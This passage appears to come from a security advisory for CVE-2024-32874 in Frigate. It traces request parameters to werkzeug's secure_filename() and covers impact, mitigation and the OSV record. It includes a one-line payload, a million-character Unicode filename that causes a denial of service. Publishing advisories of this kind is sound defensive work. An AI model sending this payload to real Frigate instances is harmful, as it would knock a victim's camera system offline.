3. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L620C28-L620C35)
)
json: dict[str, any] = request.get_json(silent=True) or {}
playback_factor = json.get("playback", "realtime")
name: Optional[str] = json.get("name")
4. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L620C5-L620C9)
)
json: dict[str, any] = request.get_json(silent=True) or {}
playback_factor = json.get("playback", "realtime")
name: Optional[str] = json.get("name")
5. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L622C27-L622C31)
json: dict[str, any] = request.get_json(silent=True) or {}
playback_factor = json.get("playback", "realtime")
name: Optional[str] = json.get("name")
recordings_count = (
6. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L622C27-L622C43)
json: dict[str, any] = request.get_json(silent=True) or {}
playback_factor = json.get("playback", "realtime")
name: Optional[str] = json.get("name")
recordings_count = (
7. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L622C5-L622C9)
json: dict[str, any] = request.get_json(silent=True) or {}
playback_factor = json.get("playback", "realtime")
name: Optional[str] = json.get("name")
recordings_count = (
8. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L646C25-L646C47)
current_app.frigate_config,
camera_name,
secure_filename(name.replace(" ", "_")) if name else None,
int(start_time),
int(end_time),
def export_rename(file_name_current, file_name_new: str):
safe_file_name_current = secure_filename(
export_filename_check_extension(file_name_current)
)
file_current = os.path.join(EXPORT_DIR, safe_file_name_current)
This user-provided value can reach a costly Unicode normalization operation.
Paths
Path with 5 steps 1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L682C19-L682C36)
@MediaBp.route("/export/<file_name_current>/<file_name_new>", methods=["PATCH"])
def export_rename(file_name_current, file_name_new: str):
safe_file_name_current = secure_filename(
export_filename_check_extension(file_name_current)
2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L684C41-L684C58)
def export_rename(file_name_current, file_name_new: str):
safe_file_name_current = secure_filename(
export_filename_check_extension(file_name_current)
)
file_current = os.path.join(EXPORT_DIR, safe_file_name_current)
3. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L667C37-L667C45)
def export_filename_check_extension(filename: str):
if filename.endswith(".mp4"):
return filename
4. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L669C16-L669C24)
def export_filename_check_extension(filename: str):
if filename.endswith(".mp4"):
return filename
else:
return filename + ".mp4"
5. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L684C9-L684C59)
def export_rename(file_name_current, file_name_new: str):
safe_file_name_current = secure_filename(
export_filename_check_extension(file_name_current)
)
file_current = os.path.join(EXPORT_DIR, safe_file_name_current)
Path with 5 steps
1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L682C19-L682C36)
@MediaBp.route("/export/<file_name_current>/<file_name_new>", methods=["PATCH"])
def export_rename(file_name_current, file_name_new: str):
safe_file_name_current = secure_filename(
export_filename_check_extension(file_name_current)
2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L684C41-L684C58)
def export_rename(file_name_current, file_name_new: str):
safe_file_name_current = secure_filename(
export_filename_check_extension(file_name_current)
)
file_current = os.path.join(EXPORT_DIR, safe_file_name_current)
3. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L667C37-L667C45)
def export_filename_check_extension(filename: str):
if filename.endswith(".mp4"):
return filename
4. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L671C16-L671C33)
return filename
else:
return filename + ".mp4"
5. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L684C9-L684C59)
def export_rename(file_name_current, file_name_new: str):
safe_file_name_current = secure_filename(
export_filename_check_extension(file_name_current)
)
file_current = os.path.join(EXPORT_DIR, safe_file_name_current)
)
safe_file_name_new = secure_filename(export_filename_check_extension(file_name_new))
file_new = os.path.join(EXPORT_DIR, safe_file_name_new)
This user-provided value can reach a costly Unicode normalization operation.
Paths
Path with 5 steps 1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L682C38-L682C51)
@MediaBp.route("/export/<file_name_current>/<file_name_new>", methods=["PATCH"])
def export_rename(file_name_current, file_name_new: str):
safe_file_name_current = secure_filename(
export_filename_check_extension(file_name_current)
2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L705C74-L705C87)
)
safe_file_name_new = secure_filename(export_filename_check_extension(file_name_new))
file_new = os.path.join(EXPORT_DIR, safe_file_name_new)
3. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L667C37-L667C45)
def export_filename_check_extension(filename: str):
if filename.endswith(".mp4"):
return filename
4. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L669C16-L669C24)
def export_filename_check_extension(filename: str):
if filename.endswith(".mp4"):
return filename
else:
return filename + ".mp4"
5. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L705C42-L705C88)
)
safe_file_name_new = secure_filename(export_filename_check_extension(file_name_new))
file_new = os.path.join(EXPORT_DIR, safe_file_name_new)
Path with 5 steps
1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L682C38-L682C51)
@MediaBp.route("/export/<file_name_current>/<file_name_new>", methods=["PATCH"])
def export_rename(file_name_current, file_name_new: str):
safe_file_name_current = secure_filename(
export_filename_check_extension(file_name_current)
2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L705C74-L705C87)
)
safe_file_name_new = secure_filename(export_filename_check_extension(file_name_new))
file_new = os.path.join(EXPORT_DIR, safe_file_name_new)
3. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L667C37-L667C45)
def export_filename_check_extension(filename: str):
if filename.endswith(".mp4"):
return filename
4. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L671C16-L671C33)
return filename
else:
return filename + ".mp4"
5. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L705C42-L705C88)
)
safe_file_name_new = secure_filename(export_filename_check_extension(file_name_new))
file_new = os.path.join(EXPORT_DIR, safe_file_name_new)
@MediaBp.route("/export/<file_name>", methods=["DELETE"])
def export_delete(file_name: str):
safe_file_name = secure_filename(export_filename_check_extension(file_name))
file = os.path.join(EXPORT_DIR, safe_file_name)
This user-provided value can reach a costly Unicode normalization operation.
Paths
Path with 5 steps 1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L727C19-L727C28)
@MediaBp.route("/export/<file_name>", methods=["DELETE"])
def export_delete(file_name: str):
safe_file_name = secure_filename(export_filename_check_extension(file_name))
file = os.path.join(EXPORT_DIR, safe_file_name)
2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L728C70-L728C79)
@MediaBp.route("/export/<file_name>", methods=["DELETE"])
def export_delete(file_name: str):
safe_file_name = secure_filename(export_filename_check_extension(file_name))
file = os.path.join(EXPORT_DIR, safe_file_name)
3. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L667C37-L667C45)
def export_filename_check_extension(filename: str):
if filename.endswith(".mp4"):
return filename
4. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L669C16-L669C24)
def export_filename_check_extension(filename: str):
if filename.endswith(".mp4"):
return filename
else:
return filename + ".mp4"
5. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L728C38-L728C80)
@MediaBp.route("/export/<file_name>", methods=["DELETE"])
def export_delete(file_name: str):
safe_file_name = secure_filename(export_filename_check_extension(file_name))
file = os.path.join(EXPORT_DIR, safe_file_name)
Path with 5 steps
1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L727C19-L727C28)
@MediaBp.route("/export/<file_name>", methods=["DELETE"])
def export_delete(file_name: str):
safe_file_name = secure_filename(export_filename_check_extension(file_name))
file = os.path.join(EXPORT_DIR, safe_file_name)
2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L728C70-L728C79)
@MediaBp.route("/export/<file_name>", methods=["DELETE"])
def export_delete(file_name: str):
safe_file_name = secure_filename(export_filename_check_extension(file_name))
file = os.path.join(EXPORT_DIR, safe_file_name)
3. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L667C37-L667C45)
def export_filename_check_extension(filename: str):
if filename.endswith(".mp4"):
return filename
4. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L671C16-L671C33)
return filename
else:
return filename + ".mp4"
5. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L728C38-L728C80)
@MediaBp.route("/export/<file_name>", methods=["DELETE"])
def export_delete(file_name: str):
safe_file_name = secure_filename(export_filename_check_extension(file_name))
file = os.path.join(EXPORT_DIR, safe_file_name)
def preview_thumbnail(file_name: str):
"""Get a thumbnail from the cached preview frames."""
safe_file_name_current = secure_filename(file_name)
preview_dir = os.path.join(CACHE_DIR, "preview_frames")
This user-provided value can reach a costly Unicode normalization operation.
Paths
Path with 2 steps 1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L1344C23-L1344C32)@MediaBp.route("/preview/<file_name>/thumbnail.jpg")
@MediaBp.route("/preview/<file_name>/thumbnail.webp")
def preview_thumbnail(file_name: str):
"""Get a thumbnail from the cached preview frames."""
safe_file_name_current = secure_filename(file_name)
2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L1346C46-L1346C55)
def preview_thumbnail(file_name: str):
"""Get a thumbnail from the cached preview frames."""
safe_file_name_current = secure_filename(file_name)
preview_dir = os.path.join(CACHE_DIR, "preview_frames")
Impact
- Application-level Denial of Service, the web app would hung undefinetly and not process any further request due to the use of the malicious payload.
Mitigation
- Limiting the length of the incoming filename, similar to this commit fix.
References
- Similar to CVE-2023-46695
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "frigate"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.13.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-32874"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-09T15:13:49Z",
"nvd_published_at": "2024-05-14T15:37:13Z",
"severity": "CRITICAL"
},
"details": "**Important: Exploiting this vulnerability requires the attacker to have access to your Frigate instance, which means they could also just delete all of your recordings or perform any other action. If you have configured authentication in front of Frigate via a reverse proxy, then this vulnerability is not exploitable without first getting around your authentication method. For many obvious reasons in addition to this one, please don\u0027t expose your Frigate instance publicly without any kind of authentication.**\n\n## Summary\n\nWhen uploading a file or retrieving the filename, a user may intentionally use a large Unicode filename which would lead to a application-level denial of service. This is due to no limitation set on the length of the filename and the costy use of the Unicode normalization with the form NFKD under the hood of `secure_filename()`.\n\nI idenfied multiple vulnerable paths on [blakeblackshear/frigate](https://www.github.com/blakeblackshear/frigate/) repository. In all of those paths, it was possible for a malicious user to send a filename equals to the output of : `python3 -c \"print(\u0027\u2100\u0027 * 1_000_000)\"` which would reach the werkzeug `secure_filename()` call , which in turn under the hood uses a compatibility Unicode normalization with NFKC/NFKD form. In sum, the latter call would be costly in matter of CPU resource and may lead to the application-level denial of service. \n\n## Vulnerable Paths\n\n\u003cdetails\u003e\n\u003csummary\u003ePath with 2 steps\u003c/summary\u003e\n\n1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L379C20-L379C31)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e@MediaBp.route(\"/\u0026lt;camera_name\u0026gt;/start/\u0026lt;int:start_ts\u0026gt;/end/\u0026lt;int:end_ts\u0026gt;/clip.mp4\")\n @MediaBp.route(\"/\u0026lt;camera_name\u0026gt;/start/\u0026lt;float:start_ts\u0026gt;/end/\u0026lt;float:end_ts\u0026gt;/clip.mp4\")\n def recording_clip(\u003cstrong\u003ecamera_name\u003c/strong\u003e, start_ts, end_ts):\n download = request.args.get(\"download\", type=bool)\n\n \u003c/code\u003e\u003c/pre\u003e\n\n2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L408C33-L408C78)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e playlist_lines.append(f\"outpoint {int(end_ts - clip.start_time)}\")\n\n file_name = secure_filename(\u003cstrong\u003ef\"clip_{camera_name}_{start_ts}-{end_ts}.mp4\"\u003c/strong\u003e)\n path = os.path.join(CACHE_DIR, file_name)\n\n \u003c/code\u003e\u003c/pre\u003e\n\n\u003c/details\u003e\n\n----------------------------------------\n\n[frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L408C33-L408C78)\n\n\u003cpre\u003e\u003ccode class=\"python\"\u003e playlist_lines.append(f\"outpoint {int(end_ts - clip.start_time)}\")\n\n file_name = secure_filename(\u003cstrong\u003ef\"clip_{camera_name}_{start_ts}-{end_ts}.mp4\"\u003c/strong\u003e)\n path = os.path.join(CACHE_DIR, file_name)\n\n\u003c/code\u003e\u003c/pre\u003e\n\n*This [user-provided value](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L379C33-L379C41) can reach a [costly Unicode normalization operation](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L408C33-L408C78).*\n\n#### Paths\n\n\u003cdetails\u003e\n\u003csummary\u003ePath with 2 steps\u003c/summary\u003e\n\n1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L379C33-L379C41)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e@MediaBp.route(\"/\u0026lt;camera_name\u0026gt;/start/\u0026lt;int:start_ts\u0026gt;/end/\u0026lt;int:end_ts\u0026gt;/clip.mp4\")\n @MediaBp.route(\"/\u0026lt;camera_name\u0026gt;/start/\u0026lt;float:start_ts\u0026gt;/end/\u0026lt;float:end_ts\u0026gt;/clip.mp4\")\n def recording_clip(camera_name, \u003cstrong\u003estart_ts\u003c/strong\u003e, end_ts):\n download = request.args.get(\"download\", type=bool)\n\n \u003c/code\u003e\u003c/pre\u003e\n\n2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L408C33-L408C78)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e playlist_lines.append(f\"outpoint {int(end_ts - clip.start_time)}\")\n\n file_name = secure_filename(\u003cstrong\u003ef\"clip_{camera_name}_{start_ts}-{end_ts}.mp4\"\u003c/strong\u003e)\n path = os.path.join(CACHE_DIR, file_name)\n\n \u003c/code\u003e\u003c/pre\u003e\n\n\u003c/details\u003e\n\n----------------------------------------\n\n[frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L408C33-L408C78)\n\n\u003cpre\u003e\u003ccode class=\"python\"\u003e playlist_lines.append(f\"outpoint {int(end_ts - clip.start_time)}\")\n\n file_name = secure_filename(\u003cstrong\u003ef\"clip_{camera_name}_{start_ts}-{end_ts}.mp4\"\u003c/strong\u003e)\n path = os.path.join(CACHE_DIR, file_name)\n\n\u003c/code\u003e\u003c/pre\u003e\n\n*This [user-provided value](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L379C43-L379C49) can reach a [costly Unicode normalization operation](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L408C33-L408C78).*\n\n#### Paths\n\n\u003cdetails\u003e\n\u003csummary\u003ePath with 2 steps\u003c/summary\u003e\n\n1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L379C43-L379C49)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e@MediaBp.route(\"/\u0026lt;camera_name\u0026gt;/start/\u0026lt;int:start_ts\u0026gt;/end/\u0026lt;int:end_ts\u0026gt;/clip.mp4\")\n @MediaBp.route(\"/\u0026lt;camera_name\u0026gt;/start/\u0026lt;float:start_ts\u0026gt;/end/\u0026lt;float:end_ts\u0026gt;/clip.mp4\")\n def recording_clip(camera_name, start_ts, \u003cstrong\u003eend_ts\u003c/strong\u003e):\n download = request.args.get(\"download\", type=bool)\n\n \u003c/code\u003e\u003c/pre\u003e\n\n2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L408C33-L408C78)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e playlist_lines.append(f\"outpoint {int(end_ts - clip.start_time)}\")\n\n file_name = secure_filename(\u003cstrong\u003ef\"clip_{camera_name}_{start_ts}-{end_ts}.mp4\"\u003c/strong\u003e)\n path = os.path.join(CACHE_DIR, file_name)\n\n \u003c/code\u003e\u003c/pre\u003e\n\n\u003c/details\u003e\n\n----------------------------------------\n\n[frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L646C25-L646C47)\n\n\u003cpre\u003e\u003ccode class=\"python\"\u003e current_app.frigate_config,\n camera_name,\n secure_filename(\u003cstrong\u003ename.replace(\" \", \"_\")\u003c/strong\u003e) if name else None,\n int(start_time),\n int(end_time),\n\u003c/code\u003e\u003c/pre\u003e\n\n*This [user-provided value](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L23C5-L23C12) can reach a [costly Unicode normalization operation](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L646C25-L646C47).*\n\n#### Paths\n\n\u003cdetails\u003e\n\u003csummary\u003ePath with 8 steps\u003c/summary\u003e\n\n1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L23C5-L23C12)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e jsonify,\n make_response,\n \u003cstrong\u003erequest\u003c/strong\u003e,\n )\n from peewee import DoesNotExist, fn\n \u003c/code\u003e\u003c/pre\u003e\n\n2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L23C5-L23C12)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e jsonify,\n make_response,\n \u003cstrong\u003erequest\u003c/strong\u003e,\n )\n from peewee import DoesNotExist, fn\n \u003c/code\u003e\u003c/pre\u003e\n\n3. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L620C28-L620C35)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e )\n\n json: dict[str, any] = \u003cstrong\u003erequest\u003c/strong\u003e.get_json(silent=True) or {}\n playback_factor = json.get(\"playback\", \"realtime\")\n name: Optional[str] = json.get(\"name\")\n \u003c/code\u003e\u003c/pre\u003e\n\n4. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L620C5-L620C9)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e )\n\n \u003cstrong\u003ejson\u003c/strong\u003e: dict[str, any] = request.get_json(silent=True) or {}\n playback_factor = json.get(\"playback\", \"realtime\")\n name: Optional[str] = json.get(\"name\")\n \u003c/code\u003e\u003c/pre\u003e\n\n5. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L622C27-L622C31)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e json: dict[str, any] = request.get_json(silent=True) or {}\n playback_factor = json.get(\"playback\", \"realtime\")\n name: Optional[str] = \u003cstrong\u003ejson\u003c/strong\u003e.get(\"name\")\n\n recordings_count = (\n \u003c/code\u003e\u003c/pre\u003e\n\n6. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L622C27-L622C43)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e json: dict[str, any] = request.get_json(silent=True) or {}\n playback_factor = json.get(\"playback\", \"realtime\")\n name: Optional[str] = \u003cstrong\u003ejson.get(\"name\")\u003c/strong\u003e\n\n recordings_count = (\n \u003c/code\u003e\u003c/pre\u003e\n\n7. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L622C5-L622C9)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e json: dict[str, any] = request.get_json(silent=True) or {}\n playback_factor = json.get(\"playback\", \"realtime\")\n \u003cstrong\u003ename\u003c/strong\u003e: Optional[str] = json.get(\"name\")\n\n recordings_count = (\n \u003c/code\u003e\u003c/pre\u003e\n\n8. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L646C25-L646C47)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e current_app.frigate_config,\n camera_name,\n secure_filename(\u003cstrong\u003ename.replace(\" \", \"_\")\u003c/strong\u003e) if name else None,\n int(start_time),\n int(end_time),\n \u003c/code\u003e\u003c/pre\u003e\n\n\u003c/details\u003e\n\n----------------------------------------\n\n[frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L684C9-L684C59)\n\n\u003cpre\u003e\u003ccode class=\"python\"\u003edef export_rename(file_name_current, file_name_new: str):\n safe_file_name_current = secure_filename(\n \u003cstrong\u003eexport_filename_check_extension(file_name_current)\u003c/strong\u003e\n )\n file_current = os.path.join(EXPORT_DIR, safe_file_name_current)\n\u003c/code\u003e\u003c/pre\u003e\n\n*This [user-provided value](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L682C19-L682C36) can reach a [costly Unicode normalization operation](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L684C9-L684C59).*\n\n#### Paths\n\n\u003cdetails\u003e\n\u003csummary\u003ePath with 5 steps\u003c/summary\u003e\n\n1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L682C19-L682C36)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e\n @MediaBp.route(\"/export/\u0026lt;file_name_current\u0026gt;/\u0026lt;file_name_new\u0026gt;\", methods=[\"PATCH\"])\n def export_rename(\u003cstrong\u003efile_name_current\u003c/strong\u003e, file_name_new: str):\n safe_file_name_current = secure_filename(\n export_filename_check_extension(file_name_current)\n \u003c/code\u003e\u003c/pre\u003e\n\n2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L684C41-L684C58)\n \u003cpre\u003e\u003ccode class=\"python\"\u003edef export_rename(file_name_current, file_name_new: str):\n safe_file_name_current = secure_filename(\n export_filename_check_extension(\u003cstrong\u003efile_name_current\u003c/strong\u003e)\n )\n file_current = os.path.join(EXPORT_DIR, safe_file_name_current)\n \u003c/code\u003e\u003c/pre\u003e\n\n3. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L667C37-L667C45)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e\n\n def export_filename_check_extension(\u003cstrong\u003efilename\u003c/strong\u003e: str):\n if filename.endswith(\".mp4\"):\n return filename\n \u003c/code\u003e\u003c/pre\u003e\n\n4. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L669C16-L669C24)\n \u003cpre\u003e\u003ccode class=\"python\"\u003edef export_filename_check_extension(filename: str):\n if filename.endswith(\".mp4\"):\n return \u003cstrong\u003efilename\u003c/strong\u003e\n else:\n return filename + \".mp4\"\n \u003c/code\u003e\u003c/pre\u003e\n\n5. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L684C9-L684C59)\n \u003cpre\u003e\u003ccode class=\"python\"\u003edef export_rename(file_name_current, file_name_new: str):\n safe_file_name_current = secure_filename(\n \u003cstrong\u003eexport_filename_check_extension(file_name_current)\u003c/strong\u003e\n )\n file_current = os.path.join(EXPORT_DIR, safe_file_name_current)\n \u003c/code\u003e\u003c/pre\u003e\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003ePath with 5 steps\u003c/summary\u003e\n\n1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L682C19-L682C36)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e\n @MediaBp.route(\"/export/\u0026lt;file_name_current\u0026gt;/\u0026lt;file_name_new\u0026gt;\", methods=[\"PATCH\"])\n def export_rename(\u003cstrong\u003efile_name_current\u003c/strong\u003e, file_name_new: str):\n safe_file_name_current = secure_filename(\n export_filename_check_extension(file_name_current)\n \u003c/code\u003e\u003c/pre\u003e\n\n2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L684C41-L684C58)\n \u003cpre\u003e\u003ccode class=\"python\"\u003edef export_rename(file_name_current, file_name_new: str):\n safe_file_name_current = secure_filename(\n export_filename_check_extension(\u003cstrong\u003efile_name_current\u003c/strong\u003e)\n )\n file_current = os.path.join(EXPORT_DIR, safe_file_name_current)\n \u003c/code\u003e\u003c/pre\u003e\n\n3. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L667C37-L667C45)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e\n\n def export_filename_check_extension(\u003cstrong\u003efilename\u003c/strong\u003e: str):\n if filename.endswith(\".mp4\"):\n return filename\n \u003c/code\u003e\u003c/pre\u003e\n\n4. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L671C16-L671C33)\n \u003cpre\u003e\u003ccode class=\"python\"\u003e return filename\n else:\n return \u003cstrong\u003efilename + \".mp4\"\u003c/strong\u003e\n\n\n 